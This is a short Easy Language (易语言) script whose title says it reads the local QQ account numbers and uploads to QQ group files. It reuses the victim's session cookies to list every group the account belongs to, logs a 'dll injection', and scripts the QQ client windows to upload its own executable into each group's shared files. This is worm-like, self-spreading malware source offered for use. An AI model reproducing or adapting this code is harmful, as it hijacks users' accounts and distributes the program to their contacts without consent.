读取本机QQ号码自动给上传QQ群文件

.判断循环首 (真)
读取本机QQ号码 (, 当前所有QQ号码)
.如果真 (取数组成员数 (当前所有QQ号码) ≠ 0)
删除文件 (取运行目录 () ＋ “\自动登录QQ.vbs”)
调试输出 (“不为0”)
.计次循环首 (取数组成员数 (当前所有QQ号码), Qi)
当前Q ＝ 分割文本 (当前所有QQ号码 [Qi], “|”, )
调试输出 (当前Q)
uir ＝ “http://qun.qq.com/cgi-bin/qun_mgr/get_group_list”
结果 ＝ 网页访问u (uir, 1, “bkn=” ＋ 计算G_tk (cookies), cookies)
正则.创建 (#群_获取正则, 结果)
.如果 (正则.取匹配数量 () ＝ 0)

.否则
.计次循环首 (正则.取匹配数量 (), i)
群号 ＝ 正则.取子匹配文本 (i, 1)
群名称 ＝ 正则.取子匹配文本 (i, 2)
QQ群名称 ＝ 群名称
调试输出 (群号, 群名称)
_启动窗口.编辑框1.加入文本 (“ ” ＋ 取现在的时间 () ＋ “正在为” ＋ 群号 ＋ “（！” ＋ 群名称 ＋ “)检测群文件！” ＋ #换行符)
.计次循环首 (取数组成员数 (已经添加的Q), i)
目前QQ ＝ 已经添加的Q [1]
.如果 (目前QQ ＝ 当前Q [1])
_启动窗口.编辑框1.加入文本 (“ ” ＋ 取现在的时间 () ＋ “已为” ＋ 当前Q [1] ＋ “注入dll文件” ＋ #换行符)
.如果 (取群文件 (目前QQ, 群号, cookies, 程序文件名) ＝ 真)
调试输出 (“文件存在”)
_启动窗口.编辑框1.加入文本 (“ ” ＋ 取现在的时间 () ＋ 群名称 ＋ “已存在待上传文件” ＋ #换行符)
窗口_关闭 (当前Q句柄)
.否则
调试输出 (“文件不存在”)
_启动窗口.编辑框1.加入文本 (“ ” ＋ 取现在的时间 () ＋ 群名称 ＋ “不存在待上传文件，准备上传” ＋ 程序文件名 ＋ #换行符)
搜索加群 (群号, 目前QQ)
程序_延时 (2000)
当前Q句柄 ＝ 窗口_取句柄 (, , “TXGuiFoundation”, 群名称)
_启动窗口.编辑框1.加入文本 (“ ” ＋ 取现在的时间 () ＋ 群名称 ＋ “的群聊天窗口句柄为：” ＋ 到文本 (当前Q句柄) ＋ #换行符)
调试输出 (当前Q句柄)
鼠标_消息 (当前Q句柄, 200, 66, 1, 1)
程序_延时 (2000)
鼠标_消息 (当前Q句柄, 600, 105, 1, 1)
程序_延时 (2000)
_启动窗口.编辑框1.加入文本 (“ ” ＋ 取现在的时间 () ＋ 群名称 ＋ “：正在上传群文件” ＋ #换行符)
调试输出 (群名称 ＋ “:正在上传群文件”)
打开句柄 ＝ 窗口_取句柄_模糊 (“打开”, )
文本_投递 (功能_取编辑框句柄 (), 程序路径)
键盘_消息 (功能_取按键句柄 (), #回车键, 5, )
.判断循环首 (真)
.如果 (取群文件 (目前QQ, 群号, cookies, 程序文件名) ＝ 真)
调试输出 (“文件存在”)
_启动窗口.编辑框1.加入文本 (“ ” ＋ 取现在的时间 () ＋ 群名称 ＋ “：群文件上传完毕，准备关闭当前群窗口，继续下一个群” ＋ #换行符)
窗口_关闭 (当前Q句柄)
跳出循环 ()
.否则
调试输出 (“文件不存在”)
.如果结束

.判断循环尾 ()
.如果结束

.否则

.如果结束

.计次循环尾 ()

.计次循环尾 ()
.如果结束
程序_延时 (1000)
.计次循环尾 ()
程序_延时 (3000)
.如果真结束
程序_延时 (1000)
.判断循环尾 ()